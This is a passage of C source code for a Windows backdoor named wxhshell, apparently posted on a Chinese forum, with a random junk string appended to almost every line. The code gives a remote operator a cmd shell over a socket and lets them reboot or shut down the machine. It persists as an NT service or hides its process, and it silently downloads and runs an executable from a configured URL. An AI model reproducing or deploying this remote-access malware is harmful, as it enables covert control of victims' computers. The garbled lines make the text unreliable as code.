  // 帮助 _h", ,"p#o  
  case '?': { g} 7FR({b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yJkERiJV  
    break; RsIR}.*  
  } <2Lcy&w_M  
  // 安装 Bvj-LT=)  
  case 'i': { {%.FIw k  
    if(Install()) O:cta/M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c%9wI*l  
    else o7' cC?u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @.T(\Dq^  
    break; v<c~ '?YzO  
    } Bt[OGa(q  
  // 卸载 &(UVS0=Dp,  
  case 'r': { K<'L7>s3lA  
    if(Uninstall()) |-GmWSK_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mZDL=p  
    else yNMnByg3?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _R-[*ucq  
    break; L5=Tj4`  
    } {KYbsD  
  // 显示 wxhshell 所在路径 m`l3@ Z  
  case 'p': { ,y@`wq>O  
    char svExeFile[MAX_PATH]; >Ng7q?h   
    strcpy(svExeFile,"\n\r"); ^_BHgbS%;  
      strcat(svExeFile,ExeFile); JfS:K'  
        send(wsh,svExeFile,strlen(svExeFile),0); SV*h9LL  
    break; ~?TG SD@(  
    } 7714}%Z  
  // 重启 Ta^l1]9.*  
  case 'b': { H)tnxD0)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  Cg[]y1Ne  
    if(Boot(REBOOT)) ~= qJSb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m2{3j[  
    else { i j&_>   
    closesocket(wsh); p_T>"v  
    ExitThread(0); '# K:e  
    } o%_MTCANy  
    break; 9|#YKO\\i  
    } ug*#rpb  
  // 关机 T 7`9[  
  case 'd': { lIPy)25~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D.elE:  
    if(Boot(SHUTDOWN)) `vs= CYs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Blv!%es  
    else { VU6nu4   
    closesocket(wsh); \-3\lZ3qj  
    ExitThread(0); V9 qZa  
    } )2t!= ua  
    break; }`M53>C,gQ  
    } kNqSBzg  
  // 获取shell vM@2C'  
  case 's': { U%oh ?g  
    CmdShell(wsh); l1BbL5#1Q>  
    closesocket(wsh); JQ|qg\[  
    ExitThread(0); %H OMX{~}#  
    break; Du@?j7&l=$  
  } .R5[bXxe7  
  // 退出 dE R#)bGj  
  case 'x': { z<2!|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t}r`~AEa!  
    CloseIt(wsh); .XD7};g  
    break; d3Dw[4  
    } gx+bKGB`  
  // 离开 F)P"UQ!\  
  case 'q': { \z"0lAv"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $U=E7JO  
    closesocket(wsh); ZNb;2 4  
    WSACleanup(); <-KHy`u  
    exit(1); ,'[&" Eg  
    break; :.5l9Ci4  
        } `tZu~ n  
  } bH+x `]{A  
  } +76{S_CZ  
34S|[PX d  
  // 提示信息 7-a[W   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ($a ?zJr  
} zs#s"e:jeR  
  } gD&/ k  
,M@LtA3g  
  return; ~&-8lD];LM  
} fh~"A`d  
R  Fgy  
// shell模块句柄 q;co53.+P)  
int CmdShell(SOCKET sock) ];BGJ5^j  
{ 01v7_*'R  
STARTUPINFO si; >s#[dr\ww  
ZeroMemory(&si,sizeof(si)); eeI aH >  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @j +8M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7w}D2|+  
PROCESS_INFORMATION ProcessInfo; =@%;6`AVcp  
char cmdline[]="cmd"; B&^WRM;7t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ke.{wh\0  
  return 0; VrL==aTYXs  
} .XPcH(q  
gp07I{0~m  
// 自身启动模式 v @zpF)|  
int StartFromService(void) "E`;8SZa  
{ x1:#rb'  
typedef struct @oC# k<  
{ }6/L5j:+  
  DWORD ExitStatus; ?v-Y1j  
  DWORD PebBaseAddress; jG($:>3a@  
  DWORD AffinityMask; d D6I @N)X  
  DWORD BasePriority; GA&mM   
  ULONG UniqueProcessId; 5~(.:RX:q  
  ULONG InheritedFromUniqueProcessId; zJ;K4)"j  
}   PROCESS_BASIC_INFORMATION; >:W7f2%8`  
a[TR_ uR  
PROCNTQSIP NtQueryInformationProcess; IT,d(UV_  
 ?39B(T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,(aOTFQS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7U=|>)Q0s  
G9?6qb:  
  HANDLE             hProcess; ^X2U A{  
  PROCESS_BASIC_INFORMATION pbi; u{%gB&nC  
Fv!zS.)`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rBBA`Ut@F  
  if(NULL == hInst ) return 0;  y!6+jrI  
mHTZ:84  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4%l @   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =n $@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uP,{yna(  
s|3@\9\  
  if (!NtQueryInformationProcess) return 0; ]8,:E ]`O  
7%rSo^t,L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a'R)3:S  
  if(!hProcess) return 0; Q _}i8p '  
cG%ttfq\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qGndh  
g8+w?Zn}  
  CloseHandle(hProcess); p #vZYwe=L  
F 8*e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {0(:7IY,  
if(hProcess==NULL) return 0; ;K[ G]8  
&{B-a  
HMODULE hMod; 8?qEv,W  
char procName[255]; eF5?4??  
unsigned long cbNeeded; RusC5\BUX  
sA18f2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hK=\O)  
}5n((7@X  
  CloseHandle(hProcess); r,p6J7/lfS  
<:#O*Y{  
if(strstr(procName,"services")) return 1; // 以服务启动 1VW;[ ocQ  
AF{k^^|H  
  return 0; // 注册表启动 K`.wj8zGY  
} 1](5wK-Z  
F",]*> r  
// 主模块 7?6?`no~JJ  
int StartWxhshell(LPSTR lpCmdLine) )k5lA=(Yr+  
{ /a7tg+:  
  SOCKET wsl; U^_'e_)  
BOOL val=TRUE; yQwj [  
  int port=0; c"aiZ(aP  
  struct sockaddr_in door; j!r 4p,  
KMz\h2X  
  if(wscfg.ws_autoins) Install(); \=+ s3p5N  
\ iL&Aq}BO  
port=atoi(lpCmdLine); Qy ; M:q  
@_0 g "Ul  
if(port<=0) port=wscfg.ws_port; lD09(|`  
D .3Q0a6  
  WSADATA data; C]aa^_Ldd-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yHW=,V.  
NN5V|# P}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &s!"pEZWck  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G9\Bi-'ul  
  door.sin_family = AF_INET; Y""-U3;T~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yI9~LTlA3  
  door.sin_port = htons(port); 7Dy\-9:v  
5qco4@8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b6D}GuW  
closesocket(wsl); '< OB  j  
return 1; RL>Nl ow  
} I`h9P2~  
)Q 8T`Tly  
  if(listen(wsl,2) == INVALID_SOCKET) { & -  
closesocket(wsl); db"FC3/H  
return 1; (_ov _3  
} R7us9qM4e  
  Wxhshell(wsl); v _Bu  
  WSACleanup(); i |>K  
_I_Sq,Z#  
return 0; fk!wq. a  
8VvoPlo  
} L K9vvQz  
] *{QVn(  
// 以NT服务方式启动 P,RCbPC4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g# ZR, q  
{ 'l\V{0;mp  
DWORD   status = 0; `gqBJi  
  DWORD   specificError = 0xfffffff; 5EIhCbA  
ErF;5ec  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _<5o1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;VS;),h/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <FH3 ePz  
  serviceStatus.dwWin32ExitCode     = 0; bG +p  
  serviceStatus.dwServiceSpecificExitCode = 0; 5VWXUNe@_q  
  serviceStatus.dwCheckPoint       = 0; \()\pp~4  
  serviceStatus.dwWaitHint       = 0; z Q NL){  
]sO})  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rWbuoG+8  
  if (hServiceStatusHandle==0) return; !lE (!d3M  
Oa~t&s  
status = GetLastError(); k%QhF]  
  if (status!=NO_ERROR) t~p9iGX<  
{ zW%-Z6%D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tklU zv  
    serviceStatus.dwCheckPoint       = 0; JGZ,5RTq4-  
    serviceStatus.dwWaitHint       = 0; x Mtl<Na   
    serviceStatus.dwWin32ExitCode     = status; ?n/:1LN,  
    serviceStatus.dwServiceSpecificExitCode = specificError; h 88iZK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f(DGC2R <  
    return; yhEU *\:  
  } V_U$JKJ1=  
q /|<>s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yY*OAC  
  serviceStatus.dwCheckPoint       = 0;  D@qq=M  
  serviceStatus.dwWaitHint       = 0; uc%75TJ@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -;T>4B=  
} 2uw%0r3Vi6  
n4)G g~PE  
// 处理NT服务事件,比如:启动、停止 aEX;yy*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1o o'\  
{ 3P/T`)V  
switch(fdwControl) r4NI(\gU  
{ u7@|fND 7  
case SERVICE_CONTROL_STOP: %'`Dd  
  serviceStatus.dwWin32ExitCode = 0; 'jcDfv(v<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iAf, :g  
  serviceStatus.dwCheckPoint   = 0; qsFA~{o.  
  serviceStatus.dwWaitHint     = 0; oypq3V=5  
  { XPzwT2_E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }*$-rieg  
  } ".v9#|  
  return; e`R*6^e  
case SERVICE_CONTROL_PAUSE: i>T{s-3v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I Jq$GR  
  break; !`,6E`Y#  
case SERVICE_CONTROL_CONTINUE: c@ En4[a'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; * ok89 ad  
  break; O<f_-n@G|  
case SERVICE_CONTROL_INTERROGATE: JU<<,0  
  break; ix^:qw;  
}; yqlkf$?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "eI-Y`O,  
} j3`:;'L  
H` Q_gy5Z(  
// 标准应用程序主函数 +Qu~UK\   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -N5r[*>  
{ S=[K/Kf-  
 A`#v-  
// 获取操作系统版本 /lttJJDU  
OsIsNt=GetOsVer(); 8c+i+gp!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~n]:f7?I  
t>&$_CSWK  
  // 从命令行安装  ceVej'  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;^}cZ  
O:r<es1  
  // 下载执行文件 CJjma=XH  
if(wscfg.ws_downexe) { / c/!13|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MnKEZ: 2  
  WinExec(wscfg.ws_filenam,SW_HIDE); jY>KF'y  
} 8<)[+ @$0  
k4pvp5}%  
if(!OsIsNt) { +ls *04  
// 如果时win9x,隐藏进程并且设置为注册表启动 HJBUN1n  
HideProc(); }K"=sE  
StartWxhshell(lpCmdLine); A &w)@DOe  
} E3,Z(dpX!  
else w \0=L=J  
  if(StartFromService()) (U!WD`Ym  
  // 以服务方式启动 E_WiQ?p   
  StartServiceCtrlDispatcher(DispatchTable); 0plRsZ}  
else k6[t$|lMy  
  // 普通方式启动 j@UW[,UI  
  StartWxhshell(lpCmdLine); TKoO\\  
u9mMkzgSkP  
return 0; `ZV;Le '  
}
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只看该作者 1 发表于: 2006-10-10
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